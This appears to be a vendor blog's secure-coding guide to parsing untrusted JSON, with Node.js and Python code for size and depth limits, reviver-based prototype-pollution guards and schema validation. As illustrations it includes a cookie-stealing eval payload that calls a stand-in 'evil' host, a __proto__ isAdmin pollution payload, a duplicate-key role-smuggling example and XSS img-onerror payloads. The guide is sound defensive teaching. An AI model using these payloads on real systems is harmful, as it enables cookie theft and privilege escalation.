Cybersecurity

How Do I Safely Parse Untrusted JSON?

Learn secure techniques for parsing JSON from untrusted sources: size and depth limits, prototype-pollution guards, schema validation, and why you never eval JSON.

By Inventive HQ Team

Parsing JSON from an untrusted source is safe only when you enforce a size limit before you parse, strip prototype-polluting keys during the parse, and validate the result against a strict schema afterward — because JSON.parse on its own stops arbitrary code execution but does nothing about denial-of-service payloads, __proto__ keys, or values that are the wrong type. The single most important rule is the easy one: never run JSON through eval() or the Function constructor. JSON.parse (and its equivalents like Python's json.loads) reads data and cannot execute code; eval runs whatever the attacker sends.

That is the summary an AI overview will give you. What it can't give you is the layered mental model — the specific keys, limits, and schema rules that turn a naive JSON.parse(userInput) into something you can point at the open internet. This guide walks the pipeline gate by gate, with the real attacks each gate stops and correct code for Node.js and Python.

The safe-parse pipeline for untrusted JSON Untrusted JSON passes through four defensive gates — size and depth limit, JSON.parse never eval, prototype-pollution guard, and schema validation — before becoming trusted, typed data. Oversized or malformed payloads are rejected. Four gates from untrusted bytes to trusted data Untrusted JSON 1 Size & depth limit before parse 2 JSON.parse not eval in try/catch 3 Prototype guard drop __proto__ 4 Schema validate typed output ✓ trusted, typed data ✕ oversized / malformed / wrong-type → rejected & logged

What "untrusted" means

Untrusted data is any data your own code did not produce: form input, API responses from external services, uploaded files, message-queue payloads, webhook bodies, and even rows from your own database if an attacker could have modified them after a compromise. The moment JSON crosses one of those boundaries, treat it as hostile until it has passed every gate below.

The threats and how each is mitigated

Most "safe JSON" advice is a vague list of good habits. Here is the concrete version: the specific attack, why it works, and the specific control that stops it.

ThreatHow the attack worksMitigation
Prototype pollution (__proto__, constructor)A key like {"__proto__": {"isAdmin": true}} parses into a normal property, then an unsafe recursive merge or lodash-style set walks it and writes onto Object.prototype, silently adding fields to every object.Strip __proto__ and constructor in a JSON.parse reviver, or use secure-json-parse. Use Object.create(null) or Map for lookup tables. Never deep-merge untrusted data.
DoS: deep nestingThousands of nested [[[…]]] levels blow the parser's stack or make recursive post-processing quadratic.Cap depth after parsing (10–20 levels) by walking the tree, or use a streaming parser that fails fast. JSON.parse has no built-in depth limit.
DoS: huge payloadA multi-megabyte body forces the parser to allocate a giant in-memory tree, exhausting RAM.Enforce a byte-size cap before parsing at the proxy/framework layer (e.g. express.json({ limit: '256kb' })). This is the cheapest, highest-value control.
DoS: huge numbers / strings1e1000000 or a single 50 MB string field consumes memory and CPU even inside a small-looking object.Constrain maxLength on strings and minimum/maximum on numbers in the schema; reject Infinity/NaN-producing values.
Duplicate keys{"role":"user","role":"admin"} — the spec leaves the winner undefined, so a validator reading the first value and the app reading the last disagree, smuggling a value past checks.Detect duplicates in a reviver and reject, or validate with a strict schema; don't rely on parser last-wins behavior.
Injection (SQL / XSS / command)A parsed string is concatenated into a SQL query, HTML template, or shell command. JSON.parse is safe; the use of the value is not.Parameterized queries; context-aware output encoding; textContent over innerHTML. See cross-site-scripting.
Arbitrary code executionParsing JSON with eval()/Function() executes attacker JavaScript.Only ever use JSON.parse / json.loads. Never eval.
Wrong type / missing fieldsCode assumes age is a number; attacker sends a string or object, corrupting logic downstream.Validate against a JSON Schema with additionalProperties: false; cast explicitly only after validation.
Advertisement

Gate 1 — Limit size and depth before you trust anything

Resource-exhaustion is the attack JSON.parse cannot see coming, because by the time the parser has read the payload the damage is done. Put the byte limit upstream of the parse:

// Express: reject bodies over 256 KB before JSON.parse ever runs
app.use(express.json({ limit: '256kb' }));

JSON.parse has no depth limit, so guard nesting after parsing with a small recursive check:

function assertMaxDepth(value, max = 20, depth = 0) {
  if (depth > max) throw new Error('JSON nesting too deep');
  if (Array.isArray(value)) {
    for (const item of value) assertMaxDepth(item, max, depth + 1);
  } else if (value && typeof value === 'object') {
    for (const key of Object.keys(value)) {
      assertMaxDepth(value[key], max, depth + 1);
    }
  }
}

In Python the byte limit belongs in your web framework or a manual length check, and you can bound depth similarly:

import json

MAX_BYTES = 256 * 1024
MAX_DEPTH = 20

def parse_limited(raw: str):
    if len(raw.encode("utf-8")) > MAX_BYTES:
        raise ValueError("payload too large")
    obj = json.loads(raw)  # never eval; json.loads only reads data

    def check(value, depth=0):
        if depth > MAX_DEPTH:
            raise ValueError("JSON nesting too deep")
        if isinstance(value, dict):
            for v in value.values():
                check(v, depth + 1)
        elif isinstance(value, list):
            for item in value:
                check(item, depth + 1)

    check(obj)
    return obj

Gate 2 — Parse with JSON.parse, never eval

This is the rule that used to matter most and still catches people copying old snippets. eval(userInput) and new Function('return ' + userInput)() execute the string as code — an attacker sends fetch('https://evil/steal?c='+document.cookie) and it runs. JSON.parse builds a data structure and can throw, but it cannot execute anything. Always wrap it so a malformed body becomes a handled error rather than a crash:

try {
  const data = JSON.parse(raw);
} catch (err) {
  // return 400, log the error internally, do not echo parser details to the client
}

A common misconception in Python is that ast.literal_eval is the "safe eval" for JSON. It is safe, but it parses Python literals, not JSON — true, false, and null will raise, so use json.loads for JSON. ast.literal_eval is for evaluating Python literal strings, not a JSON parser.

Gate 3 — Guard against prototype pollution

Here is the nuance the headlines get wrong: JSON.parse does not pollute the prototype by itself. Parsing {"__proto__": {"isAdmin": true}} gives you an object with an own property literally named __proto__ — harmless on its own. The exploit fires later, when that object is passed to a recursive deep-merge, Object.assign chain, or a set(obj, path, value) helper that walks the __proto__ key and writes onto the shared Object.prototype, quietly injecting isAdmin: true into every object in the process.

A reviver strips the dangerous keys at parse time:

function safeParse(raw) {
  return JSON.parse(raw, (key, value) => {
    if (key === '__proto__' || key === 'constructor') return undefined;
    return value;
  });
}

For production, prefer the maintained drop-in from the Fastify team, which handles __proto__ and constructor.prototype thoroughly and lets you choose to throw or silently strip:

const sjson = require('secure-json-parse');
const data = sjson.parse(raw, { protoAction: 'remove', constructorAction: 'remove' });

And for lookup tables you build from untrusted keys, use a null-prototype object or a Map so there is no prototype to pollute in the first place:

const lookup = Object.create(null); // or: const lookup = new Map();

Gate 4 — Validate against a strict schema

Parsing tells you the JSON is well-formed; a schema tells you it is the shape you expect. This is where you stop wrong types, missing required fields, out-of-range numbers, oversized strings, and — crucially — unexpected extra keys. Define the contract in JSON Schema:

{
  "type": "object",
  "additionalProperties": false,
  "required": ["name", "email"],
  "properties": {
    "name":  { "type": "string", "maxLength": 100 },
    "age":   { "type": "integer", "minimum": 0, "maximum": 150 },
    "email": { "type": "string", "format": "email", "maxLength": 254 }
  }
}

additionalProperties: false is the line that turns a permissive parse into a strict allowlist — anything you did not declare is rejected. Compile the schema once and validate every payload with a fast validator such as Ajv:

const Ajv = require('ajv');
const addFormats = require('ajv-formats');
const ajv = new Ajv({ allErrors: true });
addFormats(ajv);
const validate = ajv.compile(schema);

function parseAndValidate(raw) {
  const data = safeParse(raw);           // gate 3 reviver
  if (!validate(data)) {
    throw new Error('Schema validation failed');  // log validate.errors internally
  }
  return data;                           // now typed and trusted
}

In Python, jsonschema (or a typed model library like Pydantic) plays the same role:

from jsonschema import validate, ValidationError

try:
    validate(instance=obj, schema=schema)
except ValidationError as e:
    raise ValueError("schema validation failed") from e

Want to sanity-check a payload or a schema by hand before wiring it into code? Paste it into the validator below.

Loading interactive tool...

Output encoding is a separate job

A parsed, schema-valid string is still just data — it becomes dangerous at the moment you render it. If you drop a validated comment field into the DOM with innerHTML, a value of <img src=x onerror=alert(document.cookie)> executes. This is cross-site scripting, and it is an output problem, not a parsing problem. Encode for the exact context at the point of use — HTML body, HTML attribute, URL, or JavaScript — and prefer textContent over innerHTML. Likewise, never build SQL by concatenating parsed values; use parameterized queries so the data can never be interpreted as query structure.

Language quick reference

LanguageParse safelyValidateAvoid
JavaScript / NodeJSON.parse in try/catch; secure-json-parse for __proto__Ajv (JSON Schema), Zod, Joi, Yupeval, new Function, unsafe deep-merge
Pythonjson.loadsjsonschema, Pydanticpickle on untrusted data; ast.literal_eval is not a JSON parser
JavaJackson / Gson with limits configuredBean Validation annotationspolymorphic deserialization of untrusted types
C# / .NETSystem.Text.Json / JsonConvert.DeserializeObject with settingsdata annotationsBinaryFormatter on untrusted data

Operational hygiene

  • Fail closed and log internally. On any parse or validation error, return a generic message to the client and log the details (never secrets) for monitoring. Detailed parser errors in a response help an attacker probe your defenses.
  • Rate-limit JSON endpoints so an attacker cannot brute-force payload variations cheaply.
  • Keep parsers and validators patched. Prototype-pollution and ReDoS fixes ship regularly in JSON libraries — dependency updates are security updates.
  • Validate third-party API responses too. "The vendor is trusted" is not the same as "every byte the vendor sends is well-formed and in-range." Enforce the same schema on inbound API data.

Bottom line

Safe JSON parsing is a pipeline, not a single function call. Cap size before you parse, use JSON.parse (never eval) inside try/catch, strip __proto__/constructor during the parse, and validate the result against a strict schema with additionalProperties: false — then encode the values correctly wherever you use them. No single gate is sufficient; the layered pipeline is what lets you point JSON.parse at the open internet and sleep at night.

Frequently Asked Questions

Is JSON.parse safe to use on untrusted input?

Mostly yes, with two caveats. Unlike eval, JSON.parse cannot execute code — it only builds data, so it is safe from arbitrary code execution. But it does not defend against denial-of-service (a huge or deeply nested payload can exhaust memory or blow the stack before parsing finishes) and it does not neutralize a proto key, which becomes an ordinary property that only turns dangerous if you later merge the result with an unsafe deep-merge. Safe parsing means enforcing a byte-size limit before you parse, then guarding the prototype and validating against a schema after.

Can parsing JSON cause prototype pollution?

JSON.parse by itself does not pollute Object.prototype — a payload whose top-level key is literally proto just produces an object with an own property named proto. The pollution happens later, when that object is fed into a recursive merge, Object.assign chain, or a lodash-style set that walks the proto key and writes onto the shared prototype. Defend by dropping proto and constructor keys during parse (a reviver or a library like secure-json-parse), by using Object.create(null) or Map for lookup tables, and by never using unsafe deep-merge on untrusted data.

What is the safest way to parse JSON in Node.js?

Cap the raw payload size before parsing (for example, reject request bodies over a few hundred kilobytes at the framework or proxy layer). Wrap JSON.parse in try/catch. Strip dangerous keys with a reviver or use fastify's secure-json-parse as a drop-in replacement. Then validate the result against a JSON Schema with a compiled validator such as Ajv, and only use the validated, typed output. Never use eval or the Function constructor to parse JSON.

Should I ever use eval() to parse JSON?

No. eval and the Function constructor execute whatever the string contains as JavaScript, so an attacker can run arbitrary code, steal cookies, or make network requests. JSON.parse (and every language's equivalent, like Python's json.loads) only reads data and cannot execute anything. There is no performance or convenience reason to use eval on JSON in modern runtimes.

How do I limit JSON size and nesting depth?

Enforce a byte limit before parsing — most web frameworks let you cap request-body size (Express: express.json({ limit: '256kb' })), which is your cheapest defense against memory exhaustion. Depth is harder because JSON.parse has no built-in depth cap; after parsing, walk the object and reject anything nested past a sane limit (10 to 20 levels covers almost all legitimate data), or use a streaming parser that fails fast. Also cap array lengths and individual string lengths in your schema.

How do I validate untrusted JSON against a schema?

Define the expected shape in JSON Schema — property types, required fields, string maxLength, numeric minimum and maximum, and additionalProperties set to false so unexpected keys are rejected. Compile the schema once with a validator like Ajv (JavaScript), jsonschema (Python), or a typed model library, then validate every payload before you use it. additionalProperties: false is what turns a permissive parse into a strict allowlist.

What are the main security risks of parsing untrusted JSON?

Four categories: resource-exhaustion denial-of-service from oversized payloads, deep nesting, huge numbers, or giant strings; prototype pollution from proto or constructor keys reaching an unsafe merge; injection (SQL, XSS, command) when parsed values are concatenated into queries, HTML, or shells without escaping; and logic corruption when duplicate keys or unexpected types slip past weak validation. Layered defenses — size limits, prototype guards, schema validation, and context-aware output encoding — address each one.

How does JSON handle duplicate keys?

The JSON spec allows duplicate keys but does not define which wins, so parsers disagree — most (including JavaScript's JSON.parse and Python's json.loads) keep the last value, but some keep the first. For example an object with role set to user and then role set to admin resolves differently across parsers. Attackers exploit this to smuggle a value past a validator that reads the first occurrence while the consuming service reads the last. Defend by rejecting objects with duplicate keys where it matters (a reviver can detect them) and by validating with a strict schema.

Does JSON.parse protect against XSS?

No. JSON.parse turns text into data safely, but if you then insert a parsed string into the DOM with innerHTML or into an HTML template without escaping, a value like <img src=x onerror=alert(1)> executes. Cross-site scripting is an output problem, not a parsing problem — encode data for the exact context (HTML, attribute, URL, JS) at the point you render it, and prefer textContent over innerHTML.

What is a JSON reviver function and how does it help security?

JSON.parse accepts a second argument, a reviver function called for every key/value pair as the object is built. Returning undefined for a key drops it, so a reviver can strip proto and constructor before they ever reach your object, detect duplicate keys, or reject values that exceed length limits. It is a lightweight, dependency-free way to harden parsing, though for prototype protection a maintained library like secure-json-parse is more thorough.

JSON securityinput validationinjection attackssecure parsing